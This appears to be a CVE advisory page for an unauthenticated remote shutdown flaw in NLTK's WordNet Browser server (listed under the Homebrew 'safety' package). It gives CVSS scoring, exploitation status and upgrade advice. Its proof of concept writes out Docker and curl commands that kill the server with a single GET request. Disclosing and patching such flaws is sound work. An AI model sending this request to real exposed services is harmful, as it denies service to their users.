VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

CVE-2026-33231: Safety · Unauthenticated remote shutdown in nltk.app.wordnet_app

Affects safetySource GCVE Database

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Not known to be exploited · CVSS 7.5 High : upgrade to 3.7.0_7 soon.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 3.7.0_7

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade safety to 3.7.0_7.

Affected software

Product	Affected	Fixed in
Homebrewsafety`pkg:brew/safety`Other threats	Affected >=3.3.1 <3.7.0_7	Fixed in 3.7.0_7

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. ### Details The vulnerable logic is in `nltk/app/wordnet_app.py`: - [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242) - The server listens on all interfaces: - `server = HTTPServer(("", port), MyServerHandler)` - [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87) - Incoming requests are checked for the exact path: - `if unquote_plus(sp) == "SHUTDOWN THE SERVER":` - [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88) - The shutdown protection only depends on `server_mode` - [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93) - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly: - `os._exit(0)` This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode. ### PoC 1. Start the WordNet Browser in Docker in its default mode: ```bash docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)" ``` 2. Confirm the service is reachable: ```bash curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/' ``` Observed result: ```text 200 ``` 3. Trigger shutdown: ```bash curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER' ``` Observed result: ```text 000 ``` 4. Verify the service is no longer available: ```bash curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/' docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}' docker logs nltk-wordnet-web-default-retest ``` Observed results: ```text 000 nltk-wordnet-web-default-retest Exited (0) Server shutting down! ``` ### Impact This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server. Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because: - the route is accessible over HTTP - no authentication or CSRF-style confirmation is required - the server listens on all interfaces by default - the process exits immediately instead of performing a controlled shutdown This primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.

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